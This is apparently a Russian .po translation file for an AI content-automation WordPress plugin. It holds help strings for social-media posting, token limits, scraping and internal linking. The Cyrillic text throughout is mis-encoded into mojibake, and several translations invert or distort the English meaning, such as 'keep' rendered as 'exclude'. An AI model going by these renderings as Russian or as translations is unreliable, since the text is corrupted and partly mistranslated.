msgstr "УÑтановите меÑтоположение Ñохраненного файла." #: aiomatic-automation.php:748 msgid "Set the main Facebook post content" msgstr "УÑтановите оÑновной контент поÑта в Facebook" #: aiomatic-automation.php:749 #, php-format msgid "" "Set the main Facebook post content. Additional shortcodes you can use: " "%%current_date_time%%, %%custom_html%%, %%custom_html2%%, " "%%random_sentence%%, %%random_sentence2%% + Spintax, Synergy shortcodes, " "[aicontent] shortcodes and WordPress shortcodes supported." msgstr "" "УÑтановите оÑновной кантент поÑта в Facebook. Дополнительные шорткоды, " "которые вы можете иÑпользовать: %%current_date_time%%, %%custom_html%%, " "%%custom_html2%%, %%random_sentence%%, %%random_sentence2%% + поддерживаютÑÑ " "шорткоды Spintax, Synergy, [aicontent] и шорткоды WordPress." #: aiomatic-automation.php:712 msgid "Set the main file content" msgstr "УÑтановите оÑновной контент файла" #: aiomatic-automation.php:713 #, php-format msgid "" "Set the main file content. Additional shortcodes you can use: " "%%current_date_time%%, %%custom_html%%, %%custom_html2%%, " "%%random_sentence%%, %%random_sentence2%% + Spintax, Synergy shortcodes, " "[aicontent] shortcodes and WordPress shortcodes supported." msgstr "" "Задайте контент оÑновного файла. Дополнительные шорткоды, которые вы можете " "иÑпользовать: %%current_date_time%%, %%custom_html%%, %%custom_html2%%, " "%%random_sentence%%, %%random_sentence2%% + поддерживаютÑÑ ÑˆÐ¾Ñ€Ñ‚ÐºÐ¾Ð´Ñ‹ Spintax, " "Synergy, [aicontent] и шорткоды WordPress." #: aiomatic-automation.php:905 msgid "Set the main Google My Business post content" msgstr "УÑтановите оÑновной контент публикации в Google Мой бизнеÑ." #: aiomatic-automation.php:906 #, php-format msgid "" "Set the main Google My Business post content. Additional shortcodes you can " "use: %%current_date_time%%, %%custom_html%%, %%custom_html2%%, " "%%random_sentence%%, %%random_sentence2%% + Spintax, Synergy shortcodes, " "[aicontent] shortcodes and WordPress shortcodes supported." msgstr "" "Задайте контент оÑновного поÑта Google Мой бизнеÑ. Дополнительные шорткоды, " "которые вы можете иÑпользовать: %%current_date_time%%, %%custom_html%%, " "%%custom_html2%%, %%random_sentence%%, %%random_sentence2%% + поддерживаютÑÑ " "шорткоды Spintax, Synergy, [aicontent] и шорткоды WordPress." #: res/aiomatic-automation-list.php:2531 #, php-format msgid "" "Set the main keywords which will be processed by this automation task. Enter " "a keyword on each line. You will be able to access the values of these " "keywords, from the AI process, using the following shortcode: %%keyword%%" msgstr "" "Задайте оÑновные ключевые Ñлова, которые будут обрабатыватьÑÑ Ñтой задачей " "автоматизации. Введите ключевое Ñлово в каждой Ñтроке. Ð’Ñ‹ Ñможете получить " "доÑтуп к значениÑм Ñтих ключевых Ñлов из процеÑÑа AI, иÑÐ¿Ð¾Ð»ÑŒÐ·ÑƒÑ Ñледующий " "шорткод: %%keyword%%" #: aiomatic-automation.php:1032 msgid "Set the main LinkedIn post content" msgstr "УÑтановите оÑновной контент поÑта LinkedIn." #: aiomatic-automation.php:1033 #, php-format msgid "" "Set the main LinkedIn post content. Additional shortcodes you can use: " "%%current_date_time%%, %%custom_html%%, %%custom_html2%%, " "%%random_sentence%%, %%random_sentence2%% + Spintax, Synergy shortcodes, " "[aicontent] shortcodes and WordPress shortcodes supported." msgstr "" "УÑтановите оÑновной контент поÑта LinkedIn. Дополнительные шорткоды, которые " "вы можете иÑпользовать: %%current_date_time%%, %%custom_html%%, " "%%custom_html2%%, %%random_sentence%%, %%random_sentence2%% + поддерживаютÑÑ " "шорткоды Spintax, Synergy, [aicontent] и шорткоды WordPress." #: aiomatic-automation.php:1019 msgid "Set the main LinkedIn post description" msgstr "УÑтановите оÑновное опиÑание поÑта в LinkedIn." #: aiomatic-automation.php:1020 #, php-format msgid "" "Set the main LinkedIn post description. Additional shortcodes you can use: " "%%current_date_time%%, %%custom_html%%, %%custom_html2%%, " "%%random_sentence%%, %%random_sentence2%% + Spintax, Synergy shortcodes, " "[aicontent] shortcodes and WordPress shortcodes supported." msgstr "" "Задайте оÑновное опиÑание поÑта в LinkedIn. Дополнительные шорткоды, которые " "вы можете иÑпользовать: %%current_date_time%%, %%custom_html%%, " "%%custom_html2%%, %%random_sentence%%, %%random_sentence2%% + поддерживаютÑÑ " "шорткоды Spintax, Synergy, [aicontent] и шорткоды WordPress." #: aiomatic-automation.php:1012 msgid "Set the main LinkedIn post link" msgstr "УÑтановите оÑновную ÑÑылку на поÑÑ‚ LinkedIn." #: aiomatic-automation.php:1013 #, php-format msgid "" "Set the main LinkedIn post link. Additional shortcodes you can use: " "%%current_date_time%%, %%custom_html%%, %%custom_html2%%, " "%%random_sentence%%, %%random_sentence2%% + Spintax, Synergy shortcodes, " "[aicontent] shortcodes and WordPress shortcodes supported." msgstr "" "УÑтановите ÑÑылку на оÑновной поÑÑ‚ в LinkedIn. Дополнительные шорткоды, " "которые вы можете иÑпользовать: %%current_date_time%%, %%custom_html%%, " "%%custom_html2%%, %%random_sentence%%, %%random_sentence2%% + поддерживаютÑÑ " "шорткоды Spintax, Synergy, [aicontent] и шорткоды WordPress." #: aiomatic-automation.php:1005 msgid "Set the main LinkedIn post title" msgstr "УÑтановите оÑновной заголовок поÑта LinkedIn" #: aiomatic-automation.php:1006 #, php-format msgid "" "Set the main LinkedIn post title. Additional shortcodes you can use: " "%%current_date_time%%, %%custom_html%%, %%custom_html2%%, " "%%random_sentence%%, %%random_sentence2%% + Spintax, Synergy shortcodes, " "[aicontent] shortcodes and WordPress shortcodes supported." msgstr "" "УÑтановите заголовок оÑновного поÑта LinkedIn. Дополнительные шорткоды, " "которые вы можете иÑпользовать:%%current_date_time%%, %%custom_html%%, " "%%custom_html2%%, %%random_sentence%%, %%random_sentence2%% + поддерживаютÑÑ " "шорткоды Spintax, Synergy, [aicontent] и шорткоды WordPress." #: aiomatic-automation.php:975 msgid "Set the main Reddit post content" msgstr "УÑтановите оÑновной контент поÑта Reddit." #: aiomatic-automation.php:976 #, php-format msgid "" "Set the main Reddit post content. Additional shortcodes you can use: " "%%current_date_time%%, %%custom_html%%, %%custom_html2%%, " "%%random_sentence%%, %%random_sentence2%% + Spintax, Synergy shortcodes, " "[aicontent] shortcodes and WordPress shortcodes supported." msgstr "" "УÑтановите контент оÑновного поÑта Reddit. Дополнительные шорткоды, которые " "вы можете иÑпользовать: %%current_date_time%%, %%custom_html%%, " "%%custom_html2%%, %%random_sentence%%, %%random_sentence2%% + поддерживаютÑÑ " "шорткоды Spintax, Synergy, [aicontent] и шорткоды WordPress." #: aiomatic-automation.php:968 msgid "Set the main Reddit post title" msgstr "УÑтановите оÑновной заголовок поÑта Reddit" #: aiomatic-automation.php:969 #, php-format msgid "" "Set the main Reddit post title. Additional shortcodes you can use: " "%%current_date_time%%, %%custom_html%%, %%custom_html2%%, " "%%random_sentence%%, %%random_sentence2%% + Spintax, Synergy shortcodes, " "[aicontent] shortcodes and WordPress shortcodes supported." msgstr "" "УÑтановите заголовок оÑновного поÑта Reddit. Дополнительные шорткоды, " "которые вы можете иÑпользовать: %%current_date_time%%, %%custom_html%%, " "%%custom_html2%%, %%random_sentence%%, %%random_sentence2%% + поддерживаютÑÑ " "шорткоды Spintax, Synergy, [aicontent] и шорткоды WordPress." #: aiomatic-automation.php:1076 msgid "Set the main webhook content" msgstr "УÑтановите оÑновной контент вебхука" #: aiomatic-automation.php:1077 #, php-format msgid "" "Set the main webhook content. If you selected JSON type content, enter a " "valid JSON structure here. If you selected Form Data, enter the form data in " "this structure: key => value (add new key/value combinations on a new line). " "Additional shortcodes you can use: %%current_date_time%%, %%custom_html%%, " "%%custom_html2%%, %%random_sentence%%, %%random_sentence2%% + Spintax, " "Synergy shortcodes, [aicontent] shortcodes and WordPress shortcodes " "supported." msgstr "" "Задайте оÑновной контент вебхука. ЕÑли вы выбрали тип контента JSON, введите " "здеÑÑŒ правильную Ñтруктуру JSON. ЕÑли вы выбрали \"Данные формы\", введите " "данные формы в такой Ñтруктуре: ключ => значение (добавлÑйте новые " "комбинации ключ/значение Ñ Ð½Ð¾Ð²Ð¾Ð¹ Ñтроки). Дополнительные шорткоды, которые " "вы можете иÑпользовать: %%current_date_time%%, %%custom_html%%, " "%%custom_html2%%, %%random_sentence%%, %%random_sentence2%% + поддерживаютÑÑ " "шорткоды Spintax, Synergy, [aicontent] и шорткоды WordPress." #: aiomatic-automation.php:874 msgid "Set the main X (Twitter) post content" msgstr "УÑтановите оÑновной контент поÑта X (Twitter)" #: aiomatic-automation.php:875 #, php-format msgid "" "Set the main X (Twitter) post content. Additional shortcodes you can use: " "%%current_date_time%%, %%custom_html%%, %%custom_html2%%, " "%%random_sentence%%, %%random_sentence2%% + Spintax, Synergy shortcodes, " "[aicontent] shortcodes and WordPress shortcodes supported." msgstr "" "УÑтановите контент оÑновного поÑта X (Twitter). Дополнительные шорткоды, " "которые вы можете иÑпользовать: %%current_date_time%%, %%custom_html%%, " "%%custom_html2%%, %%random_sentence%%, %%random_sentence2%% + поддерживаютÑÑ " "шорткоды Spintax, Synergy, [aicontent] и шорткоды WordPress." #: aiomatic-automation.php:930 msgid "Set the main YouTube Community post content" msgstr "УÑтановите оÑновной контент поÑта в ÑообщеÑтве YouTube." #: aiomatic-automation.php:931 #, php-format msgid "" "Set the main YouTube Community post content. Additional shortcodes you can " "use: %%current_date_time%%, %%custom_html%%, %%custom_html2%%, " "%%random_sentence%%, %%random_sentence2%% + Spintax, Synergy shortcodes, " "[aicontent] shortcodes and WordPress shortcodes supported." msgstr "" "УÑтановите контент оÑновного поÑта ÑообщеÑтва YouTube. Дополнительные " "шорткоды, которые вы можете иÑпользовать: %%current_date_time%%, " "%%custom_html%%, %%custom_html2%%, %%random_sentence%%, %%random_sentence2%% " "+ поддерживаютÑÑ ÑˆÐ¾Ñ€Ñ‚ÐºÐ¾Ð´Ñ‹ Spintax, Synergy, [aicontent] и шорткоды WordPress." #: res/aiomatic-chatbot.php:2600 msgid "" "Set the maximum chat messages to send as API context. Default is to send as " "much as possible, to the AI, depending on model accepted token size." msgstr "" "УÑтановите макÑимальное количеÑтво Ñообщений чата Ð´Ð»Ñ Ð¾Ñ‚Ð¿Ñ€Ð°Ð²ÐºÐ¸ в качеÑтве " "контекÑта API. По умолчанию отправлÑетÑÑ ÐºÐ°Ðº можно больше AI, в завиÑимоÑти " "от размера токена, принÑтого моделью." #: res/aiomatic-main.php:3992 msgid "Set the maximum height of the player in pixels. Default value is 380." msgstr "" "УÑтановить макÑимальную выÑоту игрока в пикÑелÑÑ…. Значение по умолчанию " "равно 380." #: res/aiomatic-chatbot.php:2586 msgid "Set the maximum input length for user messages." msgstr "УÑтановите макÑимальную длину ввода Ð´Ð»Ñ Ð¿Ð¾Ð»ÑŒÐ·Ð¾Ð²Ð°Ñ‚ÐµÐ»ÑŒÑких ПоÑтов." #: aiomatic-automation.php:389 msgid "Set the maximum length in characters of the resulting string" msgstr "УÑтановить макÑимальную длину результирующей Ñтроки в Ñимволах" #: aiomatic-automation.php:390 msgid "" "Set the maximum length in characters of the resulting string. If the " "captions are longer than this value, they will shortened." msgstr "" "УÑтановите макÑимальную длину результирующей Ñтроки в Ñимволах. ЕÑли подпиÑи " "длиннее Ñтого значениÑ, они будут Ñокращены." #: res/aiomatic-amazon-list.php:2997 res/aiomatic-review-list.php:3074 #: res/aiomatic-single-list.php:3344 res/aiomatic-youtube-list.php:406 #: res/aiomatic-youtube-list.php:2964 msgid "" "Set the maximum length of captions in prompts. This is useful to have, when " "captions can be very long." msgstr "" "УÑтановите макÑимальную длину подпиÑей в Промптах. Это полезно иметь, когда " "подпиÑи могут быть очень длинными." #: res/aiomatic-amazon-list.php:1504 res/aiomatic-amazon-list.php:4077 msgid "" "Set the maximum number of API tokens to use with each request. This will " "define the length of the resulting API response. Each token usually consists " "of approximately 4 characters. Note that in this value the number of tokens " "sent to the API as an article prompt will also be counted. For other models, " "the maximum is 2048." msgstr "" "УÑтановите макÑимальное количеÑтво API-токенов, которые будут иÑпользоватьÑÑ " "при каждом запроÑе. Это определит длину результирующего ответа API. Обычно " "каждый токен ÑоÑтоит примерно из 4 Ñимволов. Обратите внимание, что в Ñтом " "значении также учитываетÑÑ ÐºÐ¾Ð»Ð¸Ñ‡ÐµÑтво токенов, отправлÑемых в API в качеÑтве " "промпта к Ñтатье. Ð”Ð»Ñ Ð´Ñ€ÑƒÐ³Ð¸Ñ… моделей макÑимальное значение ÑоÑтавлÑет 2048." #: res/aiomatic-review-list.php:1573 res/aiomatic-review-list.php:4230 #: res/aiomatic-rules-list.php:1706 res/aiomatic-rules-list.php:4478 #: res/aiomatic-single-list.php:2205 res/aiomatic-single-list.php:2940 #: res/aiomatic-single-list.php:4193 res/aiomatic-single-list.php:5507 #: res/aiomatic-single-list.php:6873 res/aiomatic-youtube-list.php:1460 #: res/aiomatic-youtube-list.php:3988 #| msgid "" #| "Set the maximum number of API tokens to use with each request. This will " #| "define the length of the resulting API response. Each token usually " #| "consists of approximately 4 characters. Note that in this value the " #| "number of tokens sent to the API as an article prompt will also be " #| "counted. The maximum amount which can be set is 4000 (for modern DaVinci " #| "models). For other models, the maximum is 2048." msgid "" "Set the maximum number of API tokens to use with each request. This will " "define the length of the resulting API response. Each token usually consists " "of approximately 4 characters. Note that in this value the number of tokens " "sent to the API as an article prompt will also be counted. The maximum " "amount which can be set is 4000. For other models, the maximum is 2048." msgstr "" "УÑтановите макÑимальное количеÑтво API-токенов, которые будут иÑпользоватьÑÑ " "при каждом запроÑе. Это определит длину результирующего ответа API. Обычно " "каждый токен ÑоÑтоит примерно из 4 Ñимволов. Обратите внимание, что в Ñтом " "значении также учитываетÑÑ ÐºÐ¾Ð»Ð¸Ñ‡ÐµÑтво токенов, отправлÑемых в API в качеÑтве " "промпта к Ñтатье. МакÑимальное значение, которое можно уÑтановить, - 4000. " "Ð”Ð»Ñ Ð´Ñ€ÑƒÐ³Ð¸Ñ… моделей макÑимальное значение ÑоÑтавлÑет 2048." #: res/aiomatic-spinner-list.php:1751 msgid "" "Set the maximum number of API tokens to use with each request. This will " "define the length of the resulting API response. Each token usually consists " "of approximately 4 characters. Note that in this value the number of tokens " "sent to the API as an article prompt will also be counted. The maximum " "amount which can be set it 4000." msgstr "" "УÑтановите макÑимальное количеÑтво токенов API Ð´Ð»Ñ Ð¸ÑÐ¿Ð¾Ð»ÑŒÐ·Ð¾Ð²Ð°Ð½Ð¸Ñ Ñ ÐºÐ°Ð¶Ð´Ñ‹Ð¼ " "запроÑом. Это определит длину результирующего ответа API. Каждый токен " "обычно ÑоÑтоит примерно из 4 Ñимволов. Обратите внимание, что в Ñтом " "значенAI также будет учитыватьÑÑ ÐºÐ¾Ð»Ð¸Ñ‡ÐµÑтво токенов, отправленных в API в " "качеÑтве Ð¿Ñ€Ð¸Ð³Ð»Ð°ÑˆÐµÐ½Ð¸Ñ Ðº Ñтатье. МакÑÐ¸Ð¼Ð°Ð»ÑŒÐ½Ð°Ñ Ñумма, которую можно уÑтановить, " "Ñто 4000." #: res/aiomatic-amazon-list.php:1236 res/aiomatic-amazon-list.php:3780 #: res/aiomatic-csv-list.php:590 res/aiomatic-csv-list.php:1751 #: res/aiomatic-review-list.php:1305 res/aiomatic-review-list.php:3933 #: res/aiomatic-rules-list.php:1438 res/aiomatic-rules-list.php:4181 #: res/aiomatic-single-list.php:1245 res/aiomatic-single-list.php:2142 #: res/aiomatic-single-list.php:2877 res/aiomatic-single-list.php:4130 #: res/aiomatic-single-list.php:5444 res/aiomatic-single-list.php:6810 #: res/aiomatic-youtube-list.php:1192 res/aiomatic-youtube-list.php:3691 #| msgid "" #| "Set the maximum number of internal links to add to created posts. You can " #| "also define custom ranges, like: 3-5. Please note that this feature will " #| "work best if you already have a considerable number of posts published on " #| "your site, which will be used for internal linking." msgid "" "Set the maximum number of automatic links to add to created posts. You can " "also define custom ranges, like: 3-5. Please note that this feature will " "work best if you already have a considerable number of posts published on " "your site, which will be used for internal linking." msgstr "" "УÑтановите макÑимальное количеÑтво Внутренних СÑылок Ð´Ð»Ñ Ð´Ð¾Ð±Ð°Ð²Ð»ÐµÐ½Ð¸Ñ Ðº " "Ñоздаваемым ПоÑтам. Ð’Ñ‹ также можете определить пользовательÑкие диапазоны, " "например: 3-5. Обратите внимание, что Ñта Ñ„ÑƒÐ½ÐºÑ†Ð¸Ñ Ð±ÑƒÐ´ÐµÑ‚ работать лучше вÑего," " еÑли на вашем Ñайте уже опубликовано значительное количеÑтво ПоÑтов, " "которые будут иÑпользоватьÑÑ Ð´Ð»Ñ Ð²Ð½ÑƒÑ‚Ñ€ÐµÐ½Ð½ÐµÐ¹ перелинковки." #: res/aiomatic-spinner-list.php:2083 #| msgid "" #| "Set the maximum number of internal links to add to created posts. You can " #| "also define custom ranges, like: 3-5. Please note that this feature will " #| "work best if you already have a considerable number of posts published on " #| "your site, which will be used for internal linking. The default value for " #| "this settings field is 3-5" msgid "" "Set the maximum number of automatic links to add to created posts. You can " "also define custom ranges, like: 3-5. Please note that this feature will " "work best if you already have a considerable number of posts published on " "your site, which will be used for internal linking. The default value for " "this settings field is 3-5" msgstr "" "УÑтановите макÑимальное количеÑтво Внутренних СÑылок Ð´Ð»Ñ Ð´Ð¾Ð±Ð°Ð²Ð»ÐµÐ½Ð¸Ñ Ðº " "Ñоздаваемым ПоÑтам. Ð’Ñ‹ также можете определить пользовательÑкие диапазоны, " "например: 3-5. Обратите внимание, что Ñта Ñ„ÑƒÐ½ÐºÑ†Ð¸Ñ Ð±ÑƒÐ´ÐµÑ‚ работать лучше вÑего," " еÑли на вашем Ñайте уже опубликовано значительное количеÑтво ПоÑтов, " "которые будут иÑпользоватьÑÑ Ð´Ð»Ñ Ð²Ð½ÑƒÑ‚Ñ€ÐµÐ½Ð½ÐµÐ¹ перелинковки. Значение по " "умолчанию Ð´Ð»Ñ Ñтого Ð¿Ð¾Ð»Ñ ÐаÑтроек — 3-5." #: aiomatic-automation.php:224 aiomatic-automation.php:275 #: aiomatic-automation.php:345 msgid "Set the maximum number of characters to keep from the scraped data" msgstr "" "УÑтановите макÑимальное количеÑтво Ñимволов, которые Ñледует иÑключить из " "ÑпарÑенных данных." #: aiomatic-automation.php:225 aiomatic-automation.php:276 #: aiomatic-automation.php:346 msgid "Set the maximum number of characters to keep from the scraped data." msgstr "" "УÑтановите макÑимальное количеÑтво Ñимволов, которые Ñледует иÑключить из " "ÑпарÑенных данных." #: res/aiomatic-amazon-list.php:1534 res/aiomatic-amazon-list.php:4099 #: res/aiomatic-review-list.php:1603 res/aiomatic-review-list.php:4252 #: res/aiomatic-rules-list.php:1736 res/aiomatic-rules-list.php:4500 #: res/aiomatic-single-list.php:2970 res/aiomatic-single-list.php:4223 #: res/aiomatic-single-list.php:5537 res/aiomatic-single-list.php:6903 #: res/aiomatic-youtube-list.php:1490 res/aiomatic-youtube-list.php:4010 msgid "" "Set the maximum number of continue API tokens to use with each request. This " "will define the length of the resulting API response. Each token usually " "consists of approximately 4 characters. This defines how much content does " "the API receive each time you call it. If the API gets more initial data, " "better quality results will be expected. The maximum amount which can be set " "is 500." msgstr "" "УÑтановите макÑимальное количеÑтво токенов continue API Ð´Ð»Ñ Ð¸ÑÐ¿Ð¾Ð»ÑŒÐ·Ð¾Ð²Ð°Ð½Ð¸Ñ Ñ " "каждым запроÑом. Это определит длину результирующего ответа API. Каждый " "токен обычно ÑоÑтоит примерно из 4 Ñимволов. Это определÑет, Ñколько " "Контента API получает каждый раз, когда вы его вызываете. ЕÑли API получит " "больше иÑходных данных, можно будет ожидать результатов более выÑокого " "качеÑтва. МакÑÐ¸Ð¼Ð°Ð»ÑŒÐ½Ð°Ñ Ñумма, которую можно уÑтановить, ÑоÑтавлÑет 500." #: res/aiomatic-spinner-list.php:1790 msgid "" "Set the maximum number of continue API tokens to use with each request. This " "will define the length of the resulting API response. Each token usually " "consists of approximately 4 characters. This defines how much content does " "the API receive each time you call it. If the API gets more initial data, " "better quality results will be expected. The maximum amount which can be set " "it 2048." msgstr "" "УÑтановите макÑимальное количеÑтво токенов continue API Ð´Ð»Ñ Ð¸ÑÐ¿Ð¾Ð»ÑŒÐ·Ð¾Ð²Ð°Ð½Ð¸Ñ Ñ " "каждым запроÑом. Это определит длину результирующего ответа API. Каждый " "токен обычно ÑоÑтоит примерно из 4 Ñимволов. Это определÑет, Ñколько " "Контента API получает каждый раз, когда вы его вызываете. ЕÑли API получит " "больше иÑходных данных, можно будет ожидать результатов более выÑокого " "качеÑтва. МакÑÐ¸Ð¼Ð°Ð»ÑŒÐ½Ð°Ñ Ñумма, которую можно уÑтановить, Ñто 2048." #: aiomatic-automation.php:256 aiomatic-automation.php:326 msgid "Set the maximum number of items to process" msgstr "УÑтановите макÑимальное количеÑтво Ñлементов Ð´Ð»Ñ Ð¾Ð±Ñ€Ð°Ð±Ð¾Ñ‚ÐºÐ¸" #: aiomatic-automation.php:257 msgid "" "Set the maximum number of items to process. This will make the plugin " "process up to the maximum number of feed items and include them in the final " "result." msgstr "" "УÑтановите макÑимальное количеÑтво Ñлементов Ð´Ð»Ñ Ð¾Ð±Ñ€Ð°Ð±Ð¾Ñ‚ÐºÐ¸. Это позволит " "плагину обработать макÑимальное количеÑтво Ñлементов канала и включить их в " "конечный результат." #: aiomatic-automation.php:327 msgid "" "Set the maximum number of items to process. This will make the plugin " "process up to the maximum number of search results items and include them in " "the final result." msgstr "" "УÑтановите макÑимальное количеÑтво Ñлементов Ð´Ð»Ñ Ð¾Ð±Ñ€Ð°Ð±Ð¾Ñ‚ÐºÐ¸. Это позволит " "плагину обработать макÑимальное количеÑтво Ñлементов результатов поиÑка и " "включить их в конечный результат." #: aiomatic-automation.php:88 msgid "Set The Maximum Number Of Lines To Process" msgstr "УÑтановите макÑимальное количеÑтво Ñтрок Ð´Ð»Ñ Ð¾Ð±Ñ€Ð°Ð±Ð¾Ñ‚ÐºÐ¸" #: aiomatic-automation.php:91 msgid "Set the maximum number of lines to process. This field is optional." msgstr "" "УÑтановите макÑимальное количеÑтво Ñтрок Ð´Ð»Ñ Ð¾Ð±Ñ€Ð°Ð±Ð¾Ñ‚ÐºÐ¸. Это поле ÑвлÑетÑÑ " "необÑзательным." #: res/aiomatic-embeddings.php:244 res/aiomatic-spinner-list.php:4270 msgid "Set the maximum number of posts to be processed at each run." msgstr "" "УÑтановите макÑимальное количеÑтво ПоÑтов, которые будут обрабатыватьÑÑ Ð¿Ñ€Ð¸ " "каждом запуÑке." #: aiomatic-automation.php:464 msgid "Set the maximum number of products to add in the product listing" msgstr "" "УÑтановите макÑимальное количеÑтво продуктов Ð´Ð»Ñ Ð´Ð¾Ð±Ð°Ð²Ð»ÐµÐ½Ð¸Ñ Ð² ÑпиÑок " "продуктов." #: aiomatic-automation.php:465 msgid "" "Set the maximum number of products to add in the product listing. You can " "also set a variable number of products, case in which a random number will " "be selected from the range you specify. Example 5-7" msgstr "" "Задайте макÑимальное количеÑтво продуктов, которые будут добавлены в ÑпиÑок " "товаров. Ð’Ñ‹ также можете задать переменное количеÑтво продуктов, в Ñтом " "Ñлучае будет выбрано Ñлучайное чиÑло из указанного вами диапазона. Пример 5-7" #: res/aiomatic-amazon-list.php:1519 res/aiomatic-amazon-list.php:4088 #: res/aiomatic-review-list.php:1588 res/aiomatic-review-list.php:4241 #: res/aiomatic-rules-list.php:1721 res/aiomatic-rules-list.php:4489 #: res/aiomatic-single-list.php:2220 res/aiomatic-single-list.php:2955 #: res/aiomatic-single-list.php:4208 res/aiomatic-single-list.php:5522 #: res/aiomatic-single-list.php:6888 res/aiomatic-youtube-list.php:1475 #: res/aiomatic-youtube-list.php:3999 msgid "" "Set the maximum number of prompt API tokens to use with each request. This " "will define the length of the resulting API response. Each token usually " "consists of approximately 4 characters. This defines how much content does " "the API receive each time you call it. If the API gets more initial data, " "better quality results will be expected. The maximum amount which can be set " "is 1000." msgstr "" "УÑтановите макÑимальное количеÑтво токенов API Промптов Ð´Ð»Ñ Ð¸ÑÐ¿Ð¾Ð»ÑŒÐ·Ð¾Ð²Ð°Ð½Ð¸Ñ Ñ " "каждым запроÑом. Это определит длину результирующего ответа API. Каждый " "токен обычно ÑоÑтоит примерно из 4 Ñимволов. Это определÑет, Ñколько " "Контента API получает каждый раз, когда вы его вызываете. ЕÑли API получит " "больше иÑходных данных, можно будет ожидать результатов более выÑокого " "качеÑтва. МакÑÐ¸Ð¼Ð°Ð»ÑŒÐ½Ð°Ñ Ñумма, которую можно уÑтановить, ÑоÑтавлÑет 1000." #: res/aiomatic-spinner-list.php:1764 msgid "" "Set the maximum number of prompt API tokens to use with each request. This " "will define the length of the resulting API response. Each token usually " "consists of approximately 4 characters. This defines how much content does " "the API receive each time you call it. If the API gets more initial data, " "better quality results will be expected. The maximum amount which can be set " "it 1000." msgstr "" "УÑтановите макÑимальное количеÑтво токенов API Промптов Ð´Ð»Ñ Ð¸ÑÐ¿Ð¾Ð»ÑŒÐ·Ð¾Ð²Ð°Ð½Ð¸Ñ Ñ " "каждым запроÑом. Это определит длину результирующего ответа API. Каждый " "токен обычно ÑоÑтоит примерно из 4 Ñимволов. Это определÑет, Ñколько " "Контента API получает каждый раз, когда вы его вызываете. ЕÑли API получит " "больше иÑходных данных, можно будет ожидать результатов более выÑокого " "качеÑтва. МакÑÐ¸Ð¼Ð°Ð»ÑŒÐ½Ð°Ñ Ñумма, которую можно уÑтановить, Ñто 1000." #: res/aiomatic-rules-list.php:1267 res/aiomatic-rules-list.php:4015 #: res/aiomatic-single-list.php:2706 res/aiomatic-spinner-list.php:1877 msgid "" "Set the maximum number of related headings to add to the created post " "content. This feature will use the 'People Also Ask' feature from Google and " "Bing. By default, the Bing engine is scraped, if you want to enable also " "Google scraping, add a SerpAPI key in the plugin's 'Main Settings' menu -> " "'SerpAPI API Key' settings field." msgstr "" "УÑтановите макÑимальное количеÑтво ÑвÑзанных Заголовоков Ð´Ð»Ñ Ð´Ð¾Ð±Ð°Ð²Ð»ÐµÐ½Ð¸Ñ Ðº " "Ñодержимому Ñозданного ПоÑта. Эта Ñ„ÑƒÐ½ÐºÑ†Ð¸Ñ Ð±ÑƒÐ´ÐµÑ‚ иÑпользовать функцию «Люди " "также Ñпрашивают» от Google и Bing. По умолчанию движок Bing очищаетÑÑ, еÑли " "вы хотите включить также парÑинг Google, добавьте ключ SerpAPI в меню " "«ОÑновные ÐаÑтройки» Плагина -> поле ÐаÑтроек «Ключ API SerpAPI»." #: res/aiomatic-rules-list.php:1320 res/aiomatic-single-list.php:2759 msgid "" "Set the maximum number of related images to add to the created post content. " "This feature will use the 'Royalty Free Image' settings from the plugin's " "'Main Settings' menu or if you have access to the DallE API." msgstr "" "УÑтановите макÑимальное количеÑтво ÑвÑзанных изображений Ð´Ð»Ñ Ð´Ð¾Ð±Ð°Ð²Ð»ÐµÐ½Ð¸Ñ Ðº " "Ñодержимому Ñозданного ПоÑта. Эта Ñ„ÑƒÐ½ÐºÑ†Ð¸Ñ Ð±ÑƒÐ´ÐµÑ‚ иÑпользовать ÐаÑтройки " "«Royalty Free Image» из меню «ОÑновные ÐаÑтройки» Плагина или еÑли у Ð²Ð°Ñ " "еÑÑ‚ÑŒ доÑтуп к API DallE." #: res/aiomatic-spinner-list.php:1984 msgid "" "Set the maximum number of related images to add to the created post content. " "This feature will use the 'Royalty Free Image' settings from the plugin's " "'Main Settings' menu.'" msgstr "" "УÑтановите макÑимальное количеÑтво ÑвÑзанных изображений Ð´Ð»Ñ Ð´Ð¾Ð±Ð°Ð²Ð»ÐµÐ½Ð¸Ñ Ðº " "Ñодержимому Ñозданного ПоÑта. Эта Ñ„ÑƒÐ½ÐºÑ†Ð¸Ñ Ð±ÑƒÐ´ÐµÑ‚ иÑпользовать ÐаÑтройки " "«Royalty Free Image» из меню «ОÑновные ÐаÑтройки» Плагина." #: res/aiomatic-rules-list.php:4066 msgid "" "Set the maximum number of related images to add to the created post content. " "This feature will use the royalty free image sources configured in the " "plugin's 'Main Settings' menu or if you have access to the DallE API." msgstr "" "УÑтановите макÑимальное количеÑтво ÑвÑзанных изображений Ð´Ð»Ñ Ð´Ð¾Ð±Ð°Ð²Ð»ÐµÐ½Ð¸Ñ Ðº " "Ñодержимому Ñозданного ПоÑта. Эта Ñ„ÑƒÐ½ÐºÑ†Ð¸Ñ Ð±ÑƒÐ´ÐµÑ‚ иÑпользовать беÑплатные " "иÑточники изображений, наÑтроенные в меню «ОÑновные ÐаÑтройки» Плагина или " "еÑли у Ð²Ð°Ñ ÐµÑÑ‚ÑŒ доÑтуп к API DallE." #: res/aiomatic-spinner-list.php:1777 msgid "" "Set the maximum number of result API tokens to use with each request. This " "will define the length of the resulting API response. Each token usually " "consists of approximately 4 characters. This defines how much content does " "the API receive each time you call it. If the API gets more initial data, " "better quality results will be expected. The maximum amount which can be set " "it 2048." msgstr "" "УÑтановите макÑимальное количеÑтво токенов API результатов Ð´Ð»Ñ Ð¸ÑÐ¿Ð¾Ð»ÑŒÐ·Ð¾Ð²Ð°Ð½Ð¸Ñ " "Ñ ÐºÐ°Ð¶Ð´Ñ‹Ð¼ запроÑом. Это определит длину результирующего ответа API. Каждый " "токен обычно ÑоÑтоит примерно из 4 Ñимволов. Это определÑет, Ñколько " "Контента API получает каждый раз, когда вы его вызываете. ЕÑли API получит " "больше иÑходных данных, можно будет ожидать результатов более выÑокого " "качеÑтва. МакÑÐ¸Ð¼Ð°Ð»ÑŒÐ½Ð°Ñ Ñумма, которую можно уÑтановить, Ñто 2048." #: res/aiomatic-main.php:7665 msgid "" "Set the maximum number of seconds the plugin will wait for API requests. The " "default is 120 seconds." msgstr "" "УÑтановите макÑимальное количеÑтво Ñекунд, в течение которых плагин будет " "ждать запроÑов к API. По умолчанию Ñто 120 Ñекунд." #: 